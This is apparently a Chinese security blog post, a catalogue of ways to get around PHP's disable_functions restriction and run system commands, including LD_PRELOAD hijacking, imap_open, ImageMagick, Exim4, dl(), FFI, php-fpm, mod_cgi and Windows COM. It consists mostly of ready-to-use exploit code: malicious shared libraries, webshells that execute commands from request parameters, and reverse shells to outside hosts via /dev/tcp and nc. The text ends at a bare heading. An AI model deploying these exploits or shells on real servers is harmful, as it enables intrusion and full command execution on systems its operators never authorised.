Contents

Bypass Disable_function (PHP)

花了点时间,总结了一下遇到的所有能够Bypass disable_function的方法,持续更新ing

LD_PRELOAD

劫持函数

LD_PRELOAD是Linux系统的一个环境变量,用于动态库的加载,动态库加载的优先级最高,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。

思路

​ php 启动新进程 xxx,xxx内部调用系统函数 a(),a() 位于系统共享对象 a.so 中,所以系统为该进程加载a.so,如果在 a.so 前优先加载可控的 evil.so,evil.so 内含与 a() 同名的恶意函数,由于 evil.so 优先级较高,所以,xxx 将调用到 evil.so 内的 a() 函数,而非系统的 a.so 内的 a()函数,evil.so 为用户可控,达到执行恶意代码的目的。

​ 如果程序在运行过程中调用了某个标准的动态链接库的函数,那么我们就有机会通过 LD_PRELOAD 来设置它优先加载我们自己编写的程序,实现劫持,前提是我得控制 php 启动外部程序(调用execve fock子进程)才行(只要有进程启动行为即可,无所谓是谁,因为新进程启动将重新LD_PRELOAD)

常见的PHP利用函数有mail()、error_log(),这两个函数为PHP自带,不需要安装其他扩展。

mail()

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strace -f php ld_preload.php 2>&1 | grep execve  #查看执行该php文件时所创建的进程

https://gitee.com/leonsec/images/raw/master/image-20201019191420493.png

我们可以看到调用mail()函数时,创建了新进程调用系统函数/usr/sbin/sendmail

其实这里除了第一个调用PHP解释器本身之外,还调用了/bin/sh,所以其实劫持/bin/sh调用的系统库函数也可以

当靶机系统上没有安装sendmail时,这里劫持/bin/sh的库函数就是一个突破点

execve(执行文件)在父进程中fork一个子进程,在子进程中调用exec函数启动新的程序。 exec函数一共有六个,其中execve为内核级系统调用,其他(execl,execle,execlp,execv,execvp)都是调用execve的库函数 execve()用来执行参数filename字符串所代表的文件路径,第二个参数是利用指针数组来传递给执行文件,并且需要以空指针(NULL)结束,最后一个参数则为传递给执行文件的新环境变量数组。

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readelf -Ws /usr/sbin/sendmail #查看/usr/sbin/sendmail可能调用的系统库函数
#readelf -Ws /bin/sh

https://gitee.com/leonsec/images/raw/master/image-20201019200607910.png

这里随便选一个可能调用的函数进行劫持,比如getuid

编写exp.c:

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#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
        system("ls > /tmp/leon");
}   
int  getuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}

编译成so文件:(这里注意编译的环境要与靶机相近)

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gcc -c -fPIC exp.c -o hack && gcc --share hack -o exp.so

#如果想创建一个动态链接库,可以使用 GCC 的-shared选项。输入文件可以是源文件、汇编文件或者目标文件。
#另外还得结合-fPIC选项。-fPIC 选项作用于编译阶段,告诉编译器产生与位置无关代码(Position-Independent Code);这样一来,产生的代码中就没有绝对地址了,全部使用相对地址,所以代码可以被加载器加载到内存的任意位置,都可以正确的执行。这正是共享库所要求的,共享库被加载时,在内存的位置不是固定的。

https://gitee.com/leonsec/images/raw/master/image-20201020210226181.png

编写test.php:

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<?php
putenv("LD_PRELOAD=./exp.so");
mail("","","","","");
?>

执行test.php发现成功执行用户预定命令:

https://gitee.com/leonsec/images/raw/master/image-20201020211434920.png

https://gitee.com/leonsec/images/raw/master/image-20201020211708742.png

劫持库函数时尽量找函数原型简单且常被调用的系统库函数,如getuid()getpid()

换一个没有安装sendmail的环境:

https://gitee.com/leonsec/images/raw/master/image-20210122170617894.png

同样的,readelf -Ws /bin/sh也调用了库函数getuid(),相同的步骤劫持也成功执行命令:

https://gitee.com/leonsec/images/raw/master/image-20210122170806391.png

error_log()

一样的调用了/bin/sh/usr/sbin/sendmail,与mail()类似

https://gitee.com/leonsec/images/raw/master/image-20210122171924870.png

mb_send_mail()

需要安装mbstring模块,利用与mail()类似

https://gitee.com/leonsec/images/raw/master/image-20210122172717080.png

imap_mail()

需要安装imap模块,利用与mail()类似

https://gitee.com/leonsec/images/raw/master/image-20210122174507601.png

除此之外还有libvirt模块的libvirt_connect()函数和gnupg模块的gnupg_init()函数,基本利用方式都是一样的,不做过多描述

非劫持函数

__attribute__介绍

__attribute__可以设置函数属性(Function Attribute)、变量属性(Variable Attribute)和类型属性(Type Attribute)

__attribute__语法格式为:__attribute__ ((attribute-list)) 若函数被设定为constructor属性,则该函数会在main()函数执行之前被自动执行

类似的,若函数被设定为destructor属性,则该函数会在main()函数执行之后或者exit()被调用后自动执行

类似构造与析构函数

若它出现在共享对象中时,那么一旦共享对象被系统加载,立即将执行 __attribute__((constructor)) 修饰的函数,所以无需考虑劫持某一函数,只要能ld_preload并执行php调用新进程,就能劫持共享对象从而bypass disable function

简单的exp:

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#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

__attribute__ ((__constructor__)) void preload (void){
    unsetenv("LD_PRELOAD");
    system("whoami > /tmp/leon");
}

但是unsetenv()可能在Centos上无效,因为Centos自己也hook了unsetenv(),在其内部启动了其他进程,来不及删除LD_PRELOAD就又被劫持,导致无限循环,可以使用全局变量 extern char** environ删除,实际上,unsetenv() 就是对 environ 的简单封装实现的环境变量删除功能

在https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD/blob/master/bypass_disablefunc.c看到了一个小技巧:

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#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

extern char** environ;
__attribute__ ((__constructor__)) void preload (void)
{
    // get command line options and arg
    const char* cmdline = getenv("EVIL_CMDLINE");
    // unset environment variable LD_PRELOAD.
    // unsetenv("LD_PRELOAD") no effect on some 
    // distribution (e.g., centos), I need crafty trick.
    int i;
    for (i = 0; environ[i]; ++i) {
            if (strstr(environ[i], "LD_PRELOAD")) {
                    environ[i][0] = '\0';
            }
    }
    // executive command
    system(cmdline);
}

使用for循环修改LD_PRELOAD的首个字符改成\0\0是C语言字符串结束标记,这样可以让系统原有的LD_PRELOAD环境变量自动失效

利用

前提条件也是需要php启动子进程,只是不需要劫持特定的库函数了,修改exp如下:

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#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

extern char** environ;
__attribute__ ((__constructor__)) void preload (void)
{
    const char* cmdline = "whoami > /tmp/leon";
    int i;
    for (i = 0; environ[i]; ++i) {
            if (strstr(environ[i], "LD_PRELOAD")) {
                    environ[i][0] = '\0';
            }
    }
    system(cmdline);
}

编译:

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gcc -c -fPIC exp.c -o hack && gcc --share hack -o exp.so

https://gitee.com/leonsec/images/raw/master/image-20210124124646347.png

可以看到,执行一次后就停止了

imap_open

参考

PHP :: Sec Bug #76428 :: Command execution through imap_open CVE - CVE-2018-19518 (mitre.org)

利用

php imap扩展用于在PHP中执行邮件收发操作。其imap_open函数会调用rsh来连接远程shell,而debian/ubuntu中默认使用ssh来代替rsh的功能(也就是说,在debian系列系统中,执行rsh命令实际执行的是ssh命令)

因为ssh命令中可以通过设置-oProxyCommand=来调用第三方命令,攻击者通过注入注入这个参数,最终将导致命令执行漏洞

注意:需要php.iniimap.enable_insecure_rsh= On

exp:

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<?php
$payload = "echo hello|tee /tmp/executed";
$encoded_payload = base64_encode($payload);
$server = "any -o ProxyCommand=echo\t".$encoded_payload."|base64\t-d|bash";
@imap_open('{'.$server.'}:143/imap}INBOX', '', '');

https://gitee.com/leonsec/images/raw/master/image-20210124144646549.png

因为imap_open使用-oProxyCommand=会调用rsh系统命令,所以同样的可以使用ld_preload来bypass:

ld_preload.php:

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<?php
putenv("LD_PRELOAD=./exp.so");
imap_open("{any -o ProxyCommand=''}","","");
?>

https://gitee.com/leonsec/images/raw/master/image-20210124145536052.png

Imagick

简介

Imagick is a native php extension to create and modify images using the ImageMagick API.

ImageMagick is a software suite to create, edit, and compose bitmap images. It can read, convert and write images in a variety of formats (over 100) including DPX, EXR, GIF, JPEG, JPEG-2000, PDF, PhotoCD, PNG, Postscript, SVG, and TIFF.

PHP: Introduction - Manual

命令注入

参考链接:Imagick 3.3.0 (PHP 5.4) - disable_functions Bypass - PHP webapps Exploit (exploit-db.com)

Imagick <= 3.3.0

PHP >= 5.4

exp:

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# Exploit Title: PHP Imagick disable_functions Bypass
# Date: 2016-05-04
# Exploit Author: RicterZ (ricter@chaitin.com)
# Vendor Homepage: https://pecl.php.net/package/imagick
# Version: Imagick  <= 3.3.0 PHP >= 5.4
# Test on: Ubuntu 12.04

# Exploit:
<?php
# PHP Imagick disable_functions Bypass
# Author: Ricter <ricter@chaitin.com>
#
# $ curl "127.0.0.1:8080/exploit.php?cmd=cat%20/etc/passwd"
# <pre>
# Disable functions: exec,passthru,shell_exec,system,popen
# Run command: cat /etc/passwd
# ====================
# root:x:0:0:root:/root:/usr/local/bin/fish
# daemon:x:1:1:daemon:/usr/sbin:/bin/sh
# bin:x:2:2:bin:/bin:/bin/sh
# sys:x:3:3:sys:/dev:/bin/sh
# sync:x:4:65534:sync:/bin:/bin/sync
# games:x:5:60:games:/usr/games:/bin/sh
# ...
# </pre>
echo "Disable functions: " . ini_get("disable_functions") . "\n";
$command = isset($_GET['cmd']) ? $_GET['cmd'] : 'id';
echo "Run command: $command\n====================\n";

$data_file = tempnam('/tmp', 'img');
$imagick_file = tempnam('/tmp', 'img');

$exploit = <<<EOF
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/image.jpg"|$command>$data_file")'
pop graphic-context
EOF;

file_put_contents("$imagick_file", $exploit);
$thumb = new Imagick();
$thumb->readImage("$imagick_file");
$thumb->writeImage(tempnam('/tmp', 'img'));
$thumb->clear();
$thumb->destroy();

echo file_get_contents($data_file);
?>

Ghostscript

ImageMagick 在处理一些类型的文件的时候需要依赖外部程序解析

据此在ImageMagick - Formats可以找到相关调用Ghostscript的图片类型:

https://gitee.com/leonsec/images/raw/master/image-20210124170357982.png

新版本禁用了一些格式,还剩下epsept格式可以使用

生成epteps文件:

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convert 1.png 1.ept
convert 1.png 1.eps

imagemagick.php:

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<?php
$image = new Imagick('1.ept');

查看子进程情况:

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strace -f /www/server/php/56/bin/php imagemagick.php 2>&1 | grep execve

https://gitee.com/leonsec/images/raw/master/image-20210124170020950.png

因为环境没有gs命令,可以看到尝试去调用了/usr/bin/gs/usr/sbin/gs/usr/local/sbin/gs等,fork了新进程,可以利用LD_PRELOAD进行bypass

利用过程与上文类似

FFmpeg

Ghostscript类似,以下文件格式被ImageMagick 解析时会去调用外部程序:

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wmv,mov,m4v,m2v,mp4,mpg,mpeg,mkv,avi,3g2,3gp

https://gitee.com/leonsec/images/raw/master/image-20210124171955327.png

查看调用子进程情况:

https://gitee.com/leonsec/images/raw/master/image-20210124173957062.png

尝试调用ffmpeg,可以利用LD_PRELOAD进行bypass

利用过程类似

MAGICK_CODER_MODULE_PATH

Set path where ImageMagick can locate its coder modules. This path permits the user to arbitrarily extend the image formats supported by ImageMagick by adding loadable coder modules from an preferred location rather than copying them into the ImageMagick installation directory.

[ImageMagick - Resources](https://www.imagemagick.org/script/resources.php#Environment Variables)

MAGICK_CODER_MODULE_PATH在文档中的大概意思是允许用户任意扩展 ImageMagick 支持的图像格式,从首选位置添加可加载的编码器模块

据此我们可以加载自己构造的恶意编码器,绕过disable_function执行可控命令

png.c:

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#include <unistd.h>
#include <stdlib.h>
	
__attribute__((constructor))
static void initialize_navigationBarImages() {
	char *basedir = getenv("BASEDIR");
	char cmd[0x100];
	snprintf(cmd, 0x100, "/readflag>%s/flag", basedir);
	system(cmd);
}

png.la:

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# png.la - a libtool library file
# Generated by libtool (GNU libtool) 2.4.6 Debian-2.4.6-2
#
# Please DO NOT delete this file!
# It is necessary for linking the library.

# The name that we can dlopen(3).
dlname='png.so'

# Names of this library.
library_names='png.so png.so png.so'

# The name of the static archive.
old_library=''

# Linker flags that cannot go in dependency_libs.
inherited_linker_flags=' -pthread -fopenmp'

# Libraries that this one depends upon.
dependency_libs=''

# Names of additional weak libraries provided by this library
weak_library_names=''

# Version information for png.
current=0
age=0
revision=0

# Is this an already installed library?
installed=yes

# Should we warn about portability when linking against -modules?
shouldnotlink=yes

# Files to dlopen/dlpreopen
dlopen=''
dlpreopen=''

# Directory that this library needs to be installed in:
libdir='/tmp/6a1b56cc35a395bc73b6d40410efbf9c'

exp.php:

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<?php
    
$basedir = "/tmp/6a1b56cc35a395bc73b6d40410efbf9c";
putenv("MAGICK_CODER_MODULE_PATH=" . $basedir);
putenv("BASEDIR=" . $basedir);

/* Create Imagick objects */
$Imagick = new Imagick();

/* Create ImagickDraw objects */
$ImagickDraw = new ImagickDraw();

/* Create ImagickPixel objects */
$ImagickPixel = new ImagickPixel();

/* This array contains polygon geometry */
$array = array( array( "x" => 378.1, "y" => 81.72 ),
                array( "x" => 381.1, "y" => 79.56 ),
                array( "x" => 384.3, "y" => 78.12 ),
                array( "x" => 387.6, "y" => 77.33 ),
                array( "x" => 391.1, "y" => 77.11 ),
                array( "x" => 394.6, "y" => 77.62 ),
                array( "x" => 397.8, "y" => 78.77 ),
                array( "x" => 400.9, "y" => 80.57 ),
                array( "x" => 403.6, "y" => 83.02 ),
                array( "x" => 523.9, "y" => 216.8 ),
                array( "x" => 526.2, "y" => 219.7 ),
                array( "x" => 527.6, "y" => 223 ),
                array( "x" => 528.4, "y" => 226.4 ),
                array( "x" => 528.6, "y" => 229.8 ),
                array( "x" => 528.0, "y" => 233.3 ),
                array( "x" => 526.9, "y" => 236.5 ),
                array( "x" => 525.1, "y" => 239.5 ),
                array( "x" => 522.6, "y" => 242.2 ),
                array( "x" => 495.9, "y" => 266.3 ),
                array( "x" => 493, "y" => 268.5 ),
                array( "x" => 489.7, "y" => 269.9 ),
                array( "x" => 486.4, "y" => 270.8 ),
                array( "x" => 482.9, "y" => 270.9 ),
                array( "x" => 479.5, "y" => 270.4 ),
                array( "x" => 476.2, "y" => 269.3 ),
                array( "x" => 473.2, "y" => 267.5 ),
                array( "x" => 470.4, "y" => 265 ),
                array( "x" => 350, "y" => 131.2 ),
                array( "x" => 347.8, "y" => 128.3 ),
                array( "x" => 346.4, "y" => 125.1 ),
                array( "x" => 345.6, "y" => 121.7 ),
                array( "x" => 345.4, "y" => 118.2 ),
                array( "x" => 346, "y" => 114.8 ),
                array( "x" => 347.1, "y" => 111.5 ),
                array( "x" => 348.9, "y" => 108.5 ),
                array( "x" => 351.4, "y" => 105.8 ),
                array( "x" => 378.1, "y" => 81.72 ),
              );

/* This ImagickPixel is used to set background color */
$ImagickPixel->setColor( 'gray' );

/* Create new image, set color to gray and format to png*/
$Imagick->newImage( 700, 500, $ImagickPixel );
$Imagick->setImageFormat( 'png' );

/* Create the polygon*/
$ImagickDraw->polygon( $array );

/* Render the polygon to image*/
$Imagick->drawImage( $ImagickDraw );

/* Send headers and output the image */
header( "Content-Type: image/{$Imagick->getImageFormat()}" );
#echo $Imagick->getImageBlob( );
echo "Done.\n";
?>

png.c编译成png.so,执行exp.php

https://gitee.com/leonsec/images/raw/master/image-20210124223833824.png

MAGICK_CONFIGURE_PATH

Set path where ImageMagick can locate its configuration files. Use this search path to search for configuration (.xml) files.

delegates.xml

Associate delegate programs with certain image formats. ImageMagick relies on a number of delegate programs to support certain image formats such as ufraw-batch to read raw camera formats or Ghostscript to read Postscript images. Use this configuration file to map an input or output format to an external delegate program.

官方文档中描述MAGICK_CONFIGURE_PATH为配置文件的路径,使用此搜索路径搜索配置(.xml)文件,那么结合putenv 我们就可以控制ImageMagick的配置

又发现delegates.xml这个文件,定义了ImageMagick处理各种文件类型的规则和执行的系统命令

所以我们可以伪造一个delegates.xml,并配置搜索路径,ImageMagick解析对应格式时就会执行我们构造的恶意命令

delegates.xml:

找到正常情况下解析EPT文件时的相关配置:

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<delegatemap>
<delegate decode="ps:alpha" stealth="True" command="&quot;gs&quot; -sstdout=%%stderr -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 &quot;-sDEVICE=pngalpha&quot; -dTextAlphaBits=%u -dGraphicsAlphaBits=%u &quot;-r%s&quot; %s &quot;-sOutputFile=%s&quot; &quot;-f%s&quot; &quot;-f%s&quot;"/>
</delegatemap>

修改为自定义命令:

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<delegatemap>
  <delegate decode="ps:alpha" command="sh -c &quot;echo 'MAGICK_CONFIGURE_PATH' > /tmp/leon&quot;"/>
</delegatemap>

configure.php:

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<?php
putenv('MAGICK_CONFIGURE_PATH=/tmp/');
$img = new Imagick('/tmp/1.ept');

https://gitee.com/leonsec/images/raw/master/image-20210125104416924.png

可以看到成功执行了delegates.xml中自定义的命令

覆盖PATH

前面我们知道,ImageMagick在解析特定格式文件的时候会调用外部程序,如GhostscriptFFmpeg,还有mail()error_log()等函数会调用sendmail,在环境允许的情况下可以覆盖环境变量PATH,执行我们生成的可执行文件

EPT文件为例,会调用gs,我们可以伪造一个恶意gs

gs.c:

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#include <stdlib.h>
#include <string.h>
int main() {
        unsetenv("PATH");
        const char* cmd = "echo 'cover path' > /tmp/leon";
        system(cmd);
        return 0;
}

生成可执行文件:

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gcc gs.c -o gs

gs.php:

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<?php
putenv('PATH=/tmp');
chmod('/tmp/gs','0777');
$img = new Imagick('/tmp/1.ept');

https://gitee.com/leonsec/images/raw/master/image-20210125175226966.png

Exim4

-be

Run Exim in expansion testing mode. Exim discards its root privilege, to prevent ordinary users from using this mode to read otherwise inaccessible files. If no arguments are given, Exim runs interactively, prompting for lines of data. Otherwise, it processes each argument in turn.

exim的-be参数支持运行扩展模式,具体用法参考:String expansions (exim.org)

其中可以利用的有:

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${run{<command> <args>}{<string1>}{<string2>}}
//执行命令<command> <args>,成功返回string1,失败返回string2
${substr{<string1>}{<string2>}{<string3>}}
//字符串的截取,在string3中从string1开始截取string2个字符
${readfile{<file name>}{<eol string>}}
//读文件file name,以eol string分割
${readsocket{<name>}{<request>}{<timeout>}{<eol string>}{<fail string>}}
//发送socket消息,消息内容为request

这种方式年代久远,而且需要特定环境,不大可能遇到,就不找环境复现了,给出两个exp:

Exim_mail_bypass_disable_function - l3m0n

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<?php
$c = @$_GET['lemon'];
$result_file = "/tmp/test.txt";
$tmp_file = '/tmp/aaaaaaaaaaa.sh';
$command = $c . '>' . $result_file;
file_put_contents($tmp_file, $command);
$payload = "-be \${run{/bin/bash\${substr{10}{1}{\$tod_log}}/tmp/aaaaaaaaaaa.sh}{ok}{error}}";
mail("a@localhost", "", "", "", $payload);
echo file_get_contents($result_file);
@unlink($tmp_file);
@unlink($result_file);
?>

ExploitBox.io - Pwning-PHP-Mail-Function-For-Fun-And-RCE

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<?php
// RCE via mail() vector on Exim4 MTA
// Attacker's cmd is passed on STDIN by mail() within $body
// Discovered by:
// Dawid Golunski - @dawid_golunski - https://legalhackers.com
 
	$sender = "attacker@anyhost -be";
	$body   = 'Exec: ${run{/bin/bash -c "bash -i >& /dev/tcp/threadhunter.org/80 0>&1"}{yes}{no}}';
	// ^ unfiltered vars, coming from attacker via GET, POST etc.
 
	$to = "john@localhost";
	$subject = "Exim RCE PoC";
	$headers = "From: mike@localhost";
 
	mail($to,$subject,$body,$headers, "-f $sender ");
?>

dl

dl()函数允许在php脚本里动态加载php模块,默认是加载extension_dir目录里的扩展,当php.inienable_dlOn时,支持动态加载so,可以使用目录穿越的方式加载任意目录的恶意so模块

This function was removed from most SAPIs in PHP 5.3.0, and was removed from PHP-FPM in PHP 7.0.0.

具体php自定义模块编写方法可以参考:手把手教你编写一个简单的PHP模块形态的后门 - h2z

主要功能函数为:

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PHP_FUNCTION(shell)
{
        char *command;
        int command_len;

        if (ZEND_NUM_ARGS() != 1 || zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC,"s", &command, &command_len) == FAILURE) {
          WRONG_PARAM_COUNT;
        }
        system(command);
        zend_printf("I recieve %s",command);
}

dl.php:

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<?php
dl('../../../../../../../../../tmp/shell.so');
$cmd=$_GET[a]." 2>&1>tmp.txt";
shell($cmd);
echo file_get_contents('tmp.txt');
?>

或者使用蚁剑项目写好的ant.c自己编译一下:AntSwordProject/ant_php_extension

或者:FuckFastcgi/ext_example/system at master · w181496/FuckFastcgi

FFI

FFI (Foreign Function Interface)

This extension allows the loading of shared libraries ( or ), calling of C functions and accessing of C data structures in pure PHP, without having to have deep knowledge of the Zend extension API, and without having to learn a third “intermediate” language.

FFI是PHP7.4(PHP 7 >= 7.4.0)新增加的特性,相当于外部函数接口,此扩展允许在PHP中加载共享库或调用C函数以及访问C数据结构 所以我们可以通过php代码调用C的system函数,绕过disable_function

先声明C中的命令执行函数,然后再通过FFI变量调用该C函数即可

需要用到FFI::cdef,有两个参数:

code

A string containing a sequence of declarations in regular C language (types, structures, functions, variables, etc). Actually, this string may be copy-pasted from C header files.

lib

The name of a shared library file, to be loaded and linked with the definitions.

第一个参数为需要声明的C代码,第二个参数为指定共享库,如果省略,会默认全局搜索(If lib is omitted, platforms supporting RTLD_DEFAULT attempt to lookup symbols declared in code in the normal global scope.)

需在php.ini中开启ffi.enable=true,默认为ffi.enable=preload

ffi.php:

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<?php
$ffi = FFI::cdef("int system(const char *command);");
$ffi->system("whoami > /tmp/123");
echo file_get_contents("/tmp/123");
@unlink("/tmp/123");
?>

https://gitee.com/leonsec/images/raw/master/image-20210129101638327.png

TCTF2020-noeasyphp

这题在根目录给了flag.cflag.so,PHP版本为7.4.7,开启了FFI

但是禁用了cdef,也不知道flag.c中输出flag的函数名,没法直接调用

需要利用FFI进行内存泄露

一叶飘零师傅的exp

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import requests
url = "http://pwnable.org:19261"params = {"rh":'''
try {
    $ffi=FFI::load("/flag.h");
    //get flag
    //$a = $ffi->flag_wAt3_uP_apA3H1();
    //for($i = 0; $i < 128; $i++){
        echo $a[$i];
    //}
    $a = $ffi->new("char[8]", false);
    $a[0] = 'f';
    $a[1] = 'l';
    $a[2] = 'a';
    $a[3] = 'g';
    $a[4] = 'f';
    $a[5] = 'l';
    $a[6] = 'a';
    $a[7] = 'g';
    $b = $ffi->new("char[8]", false);
    $b[0] = 'f';
    $b[1] = 'l';
    $b[2] = 'a';
    $b[3] = 'g';
    $newa = $ffi->cast("void*", $a);
    var_dump($newa);
    $newb = $ffi->cast("void*", $b);
    var_dump($newb);
    
    $addr_of_a = FFI::new("unsigned long long");
    FFI::memcpy($addr_of_a, FFI::addr($newa), 8);
    var_dump($addr_of_a);
    
    $leak = FFI::new(FFI::arrayType($ffi->type('char'), [102400]), false);
    FFI::memcpy($leak, $newa-0x20000, 102400);
    $tmp = FFI::string($leak,102400);
    var_dump($tmp);
   
    //var_dump($leak);
    //$leak[0] = 0xdeadbeef;
    //$leak[1] = 0x61616161;
    //var_dump($a);
    //FFI::memcpy($newa-0x8, $leak, 128*8);
    //var_dump($a);
    //var_dump(777);
} catch (FFI\Exception $ex) {
    echo $ex->getMessage(), PHP_EOL;
}
var_dump(1);
'''}

res = requests.get(url=url,params=params)

print((res.text).encode("utf-8"))

然后读flag:

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<?php
$ffi=FFI::load("/flag.h");
$a = FFI::string($ffi->flag_wAt3_uP_apA3H1());
var_dump($a);

CGI

简介

CGI(Common Gateway Interface:通用网关接口)是Web 服务器运行时外部程序的规范,按CGI 编写的程序可以扩展服务器功能。CGI 应用程序能与浏览器进行交互,还可通过数据库API 与数据库服务器等外部数据源进行通信,从数据库服务器中获取数据。

  • 当用户访问我们的 Web 应用时,会发起一个 HTTP 请求。最终 Web 服务器接收到这个请求。
  • Web 服务器创建一个新的 CGI 进程。在这个进程中,将 HTTP 请求数据已一定格式解析出来,并通过标准输入和环境变量传入到 URL 指定的 CGI 程序。
  • Web 应用程序处理完成后将返回数据写入到标准输出中,Web 服务器进程则从标准输出流中读取到响应,并采用 HTTP 协议返回给用户响应。

但是CGI协议对于每个请求都需要重新 fork 出一个 CGI 进程,处理完成后关闭,这在高并发时会占用大量服务器资源,所以基于 CGI 协议的基础上做了改进便有了 FastCGI 协议,它是一种常驻型的 CGI 协议。

Fastcgi

FastCGI的主要目的就是,将webserver和动态语言的执行分开为两个不同的常驻进程,当webserver接收到动态脚本的请求,就通过fcgi协议将请求通过网络转发给fcgi进程,由fcgi进程进行处理之后,再将结果传送给webserver,然后webserver再输出给浏览器。这种模型由于不用每次请求都重新启动一次cgi,也不用嵌入脚本解析器到webserver中去,因此可伸缩性很强,一旦动态脚本请求量增加,就可以将后端fcgi进程单独设立一个集群提供服务,很大的增加了可维护性,这也是为什么fcgi等类似模式如此流行的原因之一。

Fastcgi(Nginx+php-fpm)

https://gitee.com/leonsec/images/raw/master/224121kkjhzlk8qo19uhoo.jpg

PHP-FPMPHP-FastCGI Process Manager

PHP-FPMFastCGI的实现,并提供了进程管理的功能。

进程包含 master 进程和 worker 进程两种进程

master 进程只有一个,负责监听端口,接收来自 Web Server 的请求,而 worker 进程则一般有多个(具体数量根据实际需要配置),每个进程内部都嵌入了一个 PHP 解释器,是 PHP 代码真正执行的地方

Nginxphp-fpm之间使用Fastcgi协议通信,目前越来越多的集群将fcgi直接绑定在公网上,所有人都可以对其进行访问。这样就意味着,任何人都可以伪装成webserver,让fcgi执行我们想执行的脚本内容

php-fpm默认监听9000端口

可以在Nginx的配置文件中看到:

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    location ~ \.php$ {
        fastcgi_pass   phpfpm:9000;
        fastcgi_index  index.php;
        fastcgi_param  REDIRECT_STATUS    200;
        fastcgi_param  SCRIPT_FILENAME    /var/www/html$fastcgi_script_name;
        ...
    }

具体的关于Fastcgi协议以及攻击php-fpm原理的解析这里就不过多描述

参考p神的exp: Fastcgi PHP-FPM Client && Code Execution

Mod CGI(Apache_mod_php)

此方式为 mod_php 通过嵌入 PHP 解释器到 Apache 进程中对php文件进行解析

利用条件:

  • Apache + PHP (apache 使用 apache_mod_php)
  • Apache 开启了 cgi, rewrite
  • Web 目录给了 AllowOverride 权限

介绍一下mod_cgi(mod_cgi - Apache HTTP Server Version 2.4)

任何具有MIME类型application/x-httpd-cgi或者被cgi-script处理器处理的文件都将被作为CGI脚本对待并由服务器运行,它的输出将被返回给客户端。可以通过两种途径使文件成为CGI脚本,一种是文件具有已由AddType指令定义的扩展名,另一种是文件位于ScriptAlias目录中。

这里提到了CGI脚本CGI脚本简单说来便是放在服务器上的可执行程序,CGI编程没有特定的语言,C语言、linux shell、perl、vb等等都可以进行CGI编程,使用linux shell脚本编写的cgi程序便可以执行系统命令

所以当Apache 开启了 cgi, rewrite时,我们可以利用.htaccess文件,临时允许一个目录可以执行cgi程序并且使得服务器将自定义的后缀解析为cgi程序,则可以在目的目录下使用.htaccess文件进行配置:

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Options +ExecCGI
AddHandler cgi-script .aaa

然后准备shell.aaa作为cgi程序执行:

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#!/bin/sh
echo;whoami;uname -a

https://gitee.com/leonsec/images/raw/master/image-20210128234412450.png

都上传至靶机后,发现直接访问500,因为需要给shell.aaa添加可执行权限,chmod("shell.aaa",0777);

https://gitee.com/leonsec/images/raw/master/image-20210128235459271.png

l3m0n师傅的exp:

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<?php
$cmd = "nc -c '/bin/bash' 172.16.15.1 4444"; //command to be executed
$shellfile = "#!/bin/bash\n"; //using a shellscript
$shellfile .= "echo -ne \"Content-Type: text/html\\n\\n\"\n"; //header is needed, otherwise a 500 error is thrown when there is output
$shellfile .= "$cmd"; //executing $cmd
function checkEnabled($text, $condition, $yes, $no) //this surely can be shorter
{
	echo "$text: " . ($condition ? $yes : $no) . "<br>\n";
}
if (!isset($_GET['checked'])) {
	@file_put_contents('.htaccess', "\nSetEnv HTACCESS on", FILE_APPEND); //Append it to a .htaccess file to see whether .htaccess is allowed
	header('Location: ' . $_SERVER['PHP_SELF'] . '?checked=true'); //execute the script again to see if the htaccess test worked
} else {
	$modcgi = in_array('mod_cgi', apache_get_modules()); // mod_cgi enabled?
	$writable = is_writable('.'); //current dir writable?
	$htaccess = !empty($_SERVER['HTACCESS']); //htaccess enabled?
	checkEnabled("Mod-Cgi enabled", $modcgi, "Yes", "No");
	checkEnabled("Is writable", $writable, "Yes", "No");
	checkEnabled("htaccess working", $htaccess, "Yes", "No");
	if (!($modcgi && $writable && $htaccess)) {
		echo "Error. All of the above must be true for the script to work!"; //abort if not
	} else {
		checkEnabled("Backing up .htaccess", copy(".htaccess", ".htaccess.bak"), "Suceeded! Saved in .htaccess.bak", "Failed!"); //make a backup, cause you never know.
		checkEnabled("Write .htaccess file", file_put_contents('.htaccess', "Options +ExecCGI\nAddHandler cgi-script .dizzle"), "Succeeded!", "Failed!"); //.dizzle is a nice extension
		checkEnabled("Write shell file", file_put_contents('shell.dizzle', $shellfile), "Succeeded!", "Failed!"); //write the file
		checkEnabled("Chmod 777", chmod("shell.dizzle", 0777), "Succeeded!", "Failed!"); //rwx
		echo "Executing the script now. Check your listener <img src = 'shell.dizzle' style = 'display:none;'>"; //call the script
	}
}
?>

Windows COM

COM组件它最早的设计意图是,跨语言实现程序组件的复用COM组件由以Win 32动态连接库(DLL)或可执行文件(EXE)形式发布的可执行代码所组成。遵循COM规范编写出来的组件将能够满足对组件架构的所有要求。COM组件可以给应用程序、操作系统以及其他组件提供服务;自定义的COM组件可以在运行时刻同其他组件连接起来构成某个应用程序;COM组件可以动态的插入或卸出应用。

利用条件:

  • com.allow_dcom = true
  • extension=php_com_dotnet.dll

exp:

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<?php
$command=$_GET['a'];
$wsh = new COM('WScript.shell'); // 生成一个COM对象 Shell.Application也能
$exec = $wsh->exec("cmd /c".$command); //调用对象方法来执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>

https://gitee.com/leonsec/images/raw/master/image-20210129092823592.png

ShellShock

